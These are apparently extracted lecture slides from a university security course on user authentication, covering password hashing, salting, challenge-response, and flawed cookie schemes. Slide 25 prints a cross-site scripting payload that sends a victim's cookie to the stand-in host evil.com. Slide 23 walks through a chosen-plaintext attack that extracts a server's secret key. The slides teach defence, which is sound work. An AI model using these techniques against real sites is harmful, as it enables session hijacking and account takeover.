slide 1

Vitaly Shmatikov

CS 378

User Authentication

slide 2

Official Business

TA office hours will be in PAI 5.40A Homework #1 due next Tuesday in class

• Posted online

Late submission policy• You have 5 late days per semester

– Use them all at once or split between homeworks and project

• No late submissions accepted after you use up 5 days

slide 3

Overview

Password-based authentication Challenge-response Cookie-based Web authentication Next time: Kerberos

• Implementing authentication with symmetric crypto

slide 4

Basic Problem

?

How do you prove to someone that you are who you claim to be?

Any system with access control must solve this problem

slide 5

Many Ways to Prove Who You Are

What you know• Passwords• Secret key

Where you are• IP address

What you are• Biometrics

What you have• Secure tokens

slide 6

Password-Based Authentication

User has a secret password. System checks it to authenticate the user.

• Vulnerable to eavesdropping when password is communicated from user to system

How is the password stored? How does the system check the password? How easy is it to guess the password?

• Easy-to-remember passwords tend to be easy to guess

• Password file is difficult to keep secret

slide 7

UNIX-Style Passwords

t4h97t4m43 fa6326b1c2 N53uhjr438 Hgg658n53 …

user system password file“cypherpu

nk”

hashfunction

slide 8

Password Hashing

Instead of user password, store H(password) When user enters password, compute its hash

and compare with entry in password file• System does not store actual passwords!

Hash function H must have some properties• One-way: given H(password), hard to find password

– No known algorithm better than trial and error

• Collision-resistant: given H(password1), hard to find password2 such that H(password1)=H(password2)

– It should even be hard to find any pair p1,p2 s.t. H(p1)=H(p2)

slide 9

UNIX Password System

Uses modified DES as if it were a hash function• Encrypt NULL string using password as the key

– Truncates passwords to 8 characters!

• Artificial slowdown: run DES 25 times• Can instruct modern UNIXes to use MD5 hash

function

Problem: passwords are not truly random• With 52 upper- and lower-case letters, 10 digits

and 32 punctuation symbols, there are 948 6 quadrillion possible 8-character passwords

• Humans like to use dictionary words, human and pet names 1 million common passwords

slide 10

Dictionary Attack

Password file /etc/passwd is world-readable• Contains user IDs and group IDs which are used

by many system programs

Dictionary attack is possible because many passwords come from a small dictionary• Attacker can compute H(word) for every word in

the dictionary and see if the result is in the password file

• With 1,000,000-word dictionary and assuming 10 guesses per second, brute-force online attack takes 50,000 seconds (14 hours) on average

– This is very conservative. Offline attack is much faster!

slide 11

Salt

shmat:fURxfg,4hLBX:14510:30:Vitaly:/u/shmat:/bin/csh

/etc/passwd entrysalt

(chosen randomly whenpassword is first set)

crypt(pwd,salt)Password

• Users with the same password have different entries in the password file

• Dictionary attack is still possible!

Basically, DES on NULL plaintext

slide 12

Advantages of Salting

Without salt, attacker can pre-compute hashes of all dictionary words once for all password entries• Same hash function on all UNIX machines• Identical passwords hash to identical values; one

table of hash values can be used for all password files

With salt, attacker must compute hashes of all dictionary words once for each password entry• With 12-bit random salt, same password can hash

to 212 different hash values• Attacker must try all dictionary words for each salt

value in the password file

slide 13

Shadow Passwords

shmat:x:14510:30:Vitaly:/u/shmat:/bin/csh

• Store hashed passwords in /etc/shadow file which is only readable by system administrator (root)

• Add expiration dates for passwords• Early Shadow implementations on Linux called

the login program which had a buffer overflow!

Hashed password is notstored in a world-readable file

/etc/passwd entry

slide 14

Strengthening Passwords

Add biometrics• For example, keystroke dynamics or voiceprint• Revocation is often a problem with biometrics

Graphical passwords• Goal: increase the size of memorable password

space

Rely on the difficulty of computer vision• Face recognition is easy for humans, hard for

machines• Present user with a sequence of faces, he must

pick the right face several times in a row to log in

slide 15

Challenge-Response

user systemsecret key

challenge value

f(key,challenge)

Why is this better than a password over a network?

secret key

slide 16

Challenge-Response Authentication

User and system share a secret key Challenge: system presents user with some

string Response: user computes response based on

secret key and challenge• Secrecy: difficult to recover key from response

– One-way hashing or symmetric encryption work well

• Freshness: if challenge is fresh and unpredictable, attacker on the network cannot replay an old response

– For example, use a fresh random number for each challenge

Good for systems with pre-installed secret keys• Car keys; military friend-or-foe identification

slide 17

MIG-in-the-Middle Attack [Ross Anderson]

AngolaNamibia

South African bomber

Cuban MIG

Challenge N

Secret key K

Secret key K

Retransmitchallenge N

N

Response{N}K

{N}K

{N}K

Response correct!

slide 18

Web Authentication [examples by Fu et al.]

Basic technique: cookies

slide 19

Authentication via Cookies

For Web, need an authentication system that works over HTTP and does not require servers to store session data• Why is it a bad idea to store session state on server?

Servers can use cookies to store state on client• When session starts, server computes an authenticator

and gives it back to browser in the form of a cookie– Authenticator is some value that client should not be able to

forge on his own, e.g., hash(server’s secret key, session id)

• With each request, browser presents the cookie• Server recomputes the authenticator and verifies that

it is what it should be

slide 20

Typical Session with Cookies

client server

POST /login.cgi

Set-Cookie:authenticator

GET /restricted.htmlCookie:authenticator

Restricted content

Verify that thisclient is authorized

Check validity ofauthenticator(e.g., recomputehash(key,sessId))

Authenticators must be unforgeable and tamper-proof(malicious client shouldn’t be able to compute his own or modify an existing authenticator)

slide 21

FatBrain.com circa 1999 [due to Fu et al.]

User logs into website with his password, authenticator is generated, user is given special URL containing the authenticator

• With special URL, user doesn’t need to re-authenticate

– Reasoning: user could not have not known the special URL without authenticating first. That’s true, BUT…

Authenticators are global sequence numbers• It’s easy to guess sequence number for another user

• Fix: use random authenticators

https://www.fatbrain.com/HelpAccount.asp?t=0&p1=me@me.com&p2=540555758

https://www.fatbrain.com/HelpAccount.asp?t=0&p1=SomeoneElse&p2=540555752

slide 22

WSJ.com circa 1999 [due to Fu et al.]

Idea: use user,hash(user | key) as authenticator• Key is secret and known only to the server. Without

the key, clients can’t forge authenticators.

Implementation: user,crypt(user | key)• crypt() is UNIX hash function for passwords• crypt() truncates its input at 8 characters• Usernames matching first 8 characters end up with

the same authenticator• No expiration or revocation

It gets worse… This scheme can be exploited to extract the server’s secret key

slide 23

Chosen-Plaintext Attack

username crypt(username|key,“00”)authenticator cookie

VitalySh1VitalySh2

008H8LRfzUXvk VitalySh1008H8LRfzUXvk

008H8LRfzUXvk VitalySh2008H8LRfzUXvk

Create an account with a 7-letter user name…VitalySA 0073UYEre5rBQ Try logging in: access refused

VitalySB 00bkHcfOXBKno Access refused

VitalySC 00ofSJV6An1QE Login successful! 1st key symbol is C

Now a 6-letter user name…VitalyCA

VitalyCB

001mBnBErXRuc

00T3JLLfuspdo

Access refused

Access refused… and so on

• Only need 128 x 8 queries instead of intended 1288

• That’s 17 minutes with a simple Perl script vs. 2 billion years

slide 24

Better Cookie Authenticator

Capability ExpirationHash(server secret, capability, expiration)

Describes what user is authorized todo on the site that issued the cookie

Cannot be forged by malicious user;does not leak server secret

Main lesson: don’t roll your own!• Homebrewed authentication schemes are often

flawed

There are standard cookie-based schemes• We’ll see one when discussing IPSec

slide 25

Stealing Cookies by Cross Scripting

victim’sbrowser

naive.comevil.com

Access some web page

<FRAME SRC=http://naive.com/hello.cgi?name=<script>win.open(“http://evil.com/steal.cgi?cookie=”+document.cookie)</script>>Forces victim’s browser tocall hello.cgi on naive.comwith script instead of name

GET/ hello.cgi?name=<script>win.open(“http://evil.com/steal.cgi?cookie”+document.cookie)</script>

hello.cgiexecuted

<HTML>Hello, dear<script>win.open(“http://evil.com/steal.cgi?cookie=”+document.cookie)</script>Welcome!</HTML>Interpreted as

Javascript by victim’s browser; opens wndow and calls steal.cgi on evil.com

GET/ steal.cgi?cookie=

slide 26

Reading Assignment

“Dos and Don’ts of Client Authentication on the Web”• Pitfalls of homebrewed authentication

schemes

“Designing an Authentication System: a Dialogue in Four Scenes”• Design principles behind Kerberos